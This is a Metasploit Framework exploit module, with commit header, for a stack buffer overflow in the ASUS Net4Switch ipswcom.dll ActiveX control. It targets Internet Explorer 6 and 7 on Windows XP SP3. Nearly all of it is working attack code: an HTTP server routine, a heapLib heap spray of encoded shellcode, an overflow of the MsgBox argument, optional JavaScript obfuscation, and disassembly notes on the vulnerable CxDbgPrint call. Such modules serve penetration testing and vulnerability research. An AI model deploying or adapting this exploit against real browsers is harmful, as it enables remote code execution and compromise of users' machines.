Add OSVDB 79438 Asus Net4Switch ActiveX Buffer Overflow
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
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ActiveX control. A buffer overflow condition is possible in multiple places all
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because of the poor use of the CxDbgPrint() function, which allows remote attackers
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to gain arbitrary code execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Dmitriy Evdokimov', #Initial discovery, poc
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', 'http://osvdb.org/show/osvdb/79438' ],
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[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
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[ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 17 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(agent)
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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if my_target.nil?
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print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
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send_not_found(cli)
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return
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end
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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nops = Rex::Text.to_unescape(make_nops(4))
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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JS
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spray = heaplib(spray, {:noobfu => true})
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js = <<-JS
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var obj = new ActiveXObject("ipswcom.IPSWComItf");
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#{spray}
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function generate_padding(d, s) {
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var tmp = d;
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while (tmp.length < s) {
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tmp += tmp;
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}
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var buf = tmp.substring(0, s/2);
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tmp = null;
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return buf;
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}
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var arg1 = generate_padding(unescape("%u4141"), 4);
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var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
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arg2 += generate_padding(unescape("%u4343"), 2680);
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arg2 += unescape("%u4242%u4242");
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arg2 += unescape("%u0d0d%u0d0d");
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arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);
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obj.MsgBox(arg1, arg2, 2);
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JS
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#obfuscate on demand
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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html = <<-EOS
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<html>
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<head>
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</head>
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<body>
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<script>
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#{js}
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</script>
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</body>
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</html>
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EOS
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html = html.gsub(/\t\t/, '')
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print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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Download:
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http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html
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clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
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C:\Program Files\ASUS\Net4Switch\ipswcom.dll
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.text:10030523 push ecx
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.text:10030524 mov eax, [ebp+arg_C]
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.text:10030527 mov [ebp+var_4], eax
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.text:1003052A cmp [ebp+var_4], 0
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.text:1003052E jz short loc_10030541 <-- uType 10h
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.text:10030530 cmp [ebp+var_4], 1
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.text:10030534 jz short loc_10030573 <-- uType 44h
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.text:10030536 cmp [ebp+var_4], 2
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.text:1003053A jz short loc_100305A5 <-- CxDbgPrint
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...
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.text:100305A5 loc_100305A5: ; CODE XREF: MsgBox+1Aj
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.text:100305A5 mov eax, [ebp+lpText]
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.text:100305A8 push eax
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.text:100305A9 push offset aIpsw_alertS ; "[IPSW_alert] = %s"
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.text:100305AE push 0FFh
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.text:100305B3 call ds:CxDbgPrint
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=end
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